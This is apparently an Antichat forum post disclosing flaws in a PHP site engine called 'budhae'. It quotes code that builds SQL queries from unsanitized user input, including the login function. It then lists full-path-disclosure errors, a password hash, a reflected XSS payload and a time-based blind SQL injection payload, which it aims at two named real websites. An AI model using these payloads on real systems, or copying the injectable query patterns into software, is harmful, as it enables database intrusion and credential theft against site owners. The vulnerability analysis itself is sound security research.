ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
if ($_POST['process']==1)
		{
				$ADDUSER['login']=$_POST['login'];
				$ADDUSER['fullname']=$_POST['fullname'];
				$ADDUSER['types']=$_POST['types'];
				
				$ADDUSER['pass']=$_POST['pass'];
				$ADDUSER['confirm']=$_POST['confirm'];				
						if ($_POST['pass']==$_POST['confirm']){
								if ($SID->NewUser($ADDUSER)==1){echo ShowMessage('Пользователь добавлен',1);}else{echo ShowMessage('Такой пользователь уже существует',0);}
								echo ShowMessage('Пароли не совпадают',0);							
						}else{
							echo ShowMessage('Пароли не совпадают',0);					
						}
		}

Code:
$USERS = $SID->GetListOfUser();
	$PRNUSER='';
	for ($i=0;$iПользователь: '.$USERS[$i]["budhae_login"].' ('.$USERS[$i]["budhae_fullname"].') - '.$USERS[$i]["budhae_type"].' - Редактировать Удалить
';		
		}

Code:
function AddNewPages($INFO){
				
		include_once ("sql.php");
		$execute2 = new DBConnect;
		$execute2->Connect();
		$SQL="INSERT INTO `webpages` (`name`,`url`,`type`) VALUES ('".$INFO["name"]."','".$INFO["url"]."','".$INFO["type"]."');";
		$dump = $execute2->Query($SQL);
		$execute2->Close();
					
...
					
function GetAllPages(){
					
		include_once ("sql.php");
		$execute = new DBConnect;
		$execute->Connect();
		$SQL="SELECT * FROM `webpages`";
		$dump = $execute->Query($SQL);
		$Count=0;
		while ($row=mysql_fetch_array($dump)){
			$SID[$Count]['id']=$row['id'];
			$SID[$Count]['name']=$row['name'];
			$SID[$Count]['url']=$row['url'];
			$SID[$Count]['type']=$row['type'];
			$Count++;
  			 };
										 $execute->Close();
										 return $SID;						
					
					}

Code:
function AddGallery($name,$gid,$tn)
             {
	            include_once ("sql.php");
	            $execute2 = new DBConnect;
	            $execute2->Connect();
				$TableName='bd_'.$gid.'_galleryname';
				
                $SQL="INSERT INTO `".$TableName."` (`gnames`,`description1`) VALUES ('".$name."','".$tn."');";
                $dump = $execute2->Query($SQL);
				
				
				
	            $execute2->Close();
             }
					
...
					
function GetAllGallery()
		{
		include_once ("sql.php");
		$execute = new DBConnect;
		$execute->Connect();
		$SQL="SELECT * FROM `gallery_table`";
		$dump = $execute->Query($SQL);
		$Count=0;
		while ($row=mysql_fetch_array($dump)){
				$SID[$Count]['id']=$row['id'];
				$SID[$Count]['name']=$row['name'];
				$SID[$Count]['idgallery']=$row['idgallery'];
				$Count++;
		 };

Code:
function GetPageNameById($id,$gid){

                 $execute = new DBConnect;
                 $execute->Connect();
				 $TableName='bd_'.$gid.'_list';
                 $SQL="SELECT * FROM `".$TableName."` WHERE  `id`=".$id." ORDER BY `show` ASC";
                 $dump = $execute->Query($SQL);
	                while ($row=mysql_fetch_array($dump)){
    	                  $datetotal = $row['name'];
        	     	 };
                 $execute->Close();
                 return $datetotal;
				 

			}

Code:
function  GetPageNameById($id,$gid){
                include_once ("sql.php");
                $execute = new DBConnect;
                $execute->Connect();
				
				$TableName='bd_'.$gid.'_galleryname';
				
				$SQL = "SELECT * FROM `".$TableName."` WHERE `id` =".$id;
                $dump = $execute->Query($SQL);
                 while ($row=mysql_fetch_array($dump)){
                $SName = $row['gnames'];
                	 };
                $execute->Close();
                return $SName;
            }

Code:
function UserLogin($USERID){		
				 $USERID['login']=strtolower($USERID['login']);
			     include_once ("sql.php");
                 $execute = new DBConnect;
                 $execute->Connect();
				 $SQL="SELECT * FROM users WHERE `login`='".$USERID['login']."' AND `password` ='".$USERID['password']."' LIMIT 1;";
                 $dump = $execute->Query($SQL);
                 $row=mysql_fetch_array($dump);			 
                                   @session_start();								   
				   $_SESSION['budhae_login']=$row['login'];
				   $_SESSION['budhae_password']=$row['password'];
				   $_SESSION['budhae_type']=$row['type'];
				   $_SESSION['budhae_fullname']=$row['fullname'];
				   $_SESSION['budhae_date']=$row['date'];							     
				   $_SESSION['budhae_status']='approved';
				   $_SESSION['unique']=$row['unique'];;
                                   return session_id();    			 		
				$execute->Close();	
		}

Code:
Fatal error: Class 'Files' not found in /var/www/clients/client11/web106/web/demo/budhae/mods/component_ftp/companent_main.php on line 3

Code:
Fatal error: Class 'Components' not found in /var/www/clients/client11/web106/web/demo/budhae/mods/component_detect_cats.php on line 7

Code:
/page/new_pass/

Code:
497911ed40a7e76681c5e93113f9e4a1:tt-

Code:
pics.php?id=1'+and+(select * from+(select(sleep(10)))x)+and--'1

Code:
pics.php?id=">alert();

Code:
http://disloc.ru/pics.php?id=1' and (select * from (select(sleep(10)))x) and--'1

Code:
http://bookcoffee.ru/pics.php?id=215' and (select * from (select(sleep(10)))x) and--'1